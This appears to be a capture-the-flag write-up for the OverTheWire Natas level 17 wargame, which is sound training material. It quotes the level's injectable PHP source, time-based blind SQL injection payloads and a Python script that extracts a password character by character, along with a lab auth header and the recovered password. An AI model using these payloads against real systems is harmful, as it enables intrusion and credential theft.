OverTheWire: Natas

Level 17 > Level 18

natas17-01

<h1>natas17</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html> 

This challenge is identical to Natas 15 except instead of receiving a simple true/false, we get jack squat!

natas17-jacksquat

If this were a different situation I might look for a network-based solution, can we send something back to ourselves, etc. Since we can’t, the only remaining reasonable solution I’m aware of is a timing-based attack.

Modify the solution to Natas 15 to include a check against the password and an associated SLEEP statement. The payload POC which worked after a bit of fussing about:

username=natas18" AND IF(BINARY LEFT(password, 1)="a",0,SLEEP(10));#

What I’ve done here is pick a random letter, ‘a,’ which I’ll assume is not correct and put the SLEEP statement in the ‘if not true’ portion of the IF function. As expected, the response took slightly longer than 10s to arrive. Moving the SLEEP statement into the ‘if true’ portion of the IF function, the response returns immediately.

username=natas18" AND IF(BINARY LEFT(password, 1)="a",SLEEP(10),0);#

It technically doesn’t matter which of these we use, but sleeping on a match is preferable in practice since they are fewer hits than misses.

There are a couple things I don’t understand that tripped me up before I arrived at this solution. First, the timing is very precise when using AND but goes triple the time specified for sleeping when using an OR. Second, the typical MySQL -- comment does not work but # does to tidy up the end of the command. Note to future self: understand this.

EDIT: -- comments require a space after the dashes which I had not included. Mystery solved. I wonder how many times I’ve made this error in the past?

import socket, time

HOST = "natas17.natas.labs.overthewire.org"
PORT = 80
HEAD = """POST /index.php HTTP/1.1
Host: natas17.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==
Content-Type: application/x-www-form-urlencoded
Content-Length: {clength}\r\n\r\n"""
POST = 'username=natas18" AND IF(BINARY LEFT(password, {glength})="{guess}",SLEEP(10),0);#'
ALPH = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

def natas17(p):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    TPOST = POST.format(glength=len(p), guess=p)
    REQU = HEAD.format(clength=len(TPOST)) + TPOST
   
    t1 = int(time.time())
    s.send(REQU)
    r = s.recv(8192) 
    s.close()
    
    if (int(time.time()) - t1) > 7:
        return True
    return False

p = ''
for i in xrange(64):
    f = False
    for c in ALPH:
        print p, c
        if natas17(p + c):
            f = True
            p = p + c
            break
    if not f:
        break

print "DONE"
print p

This one is fun to watch becuase of the obvious pause when a correct character is found. Good stuff.

natas17-02

Eventually, xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP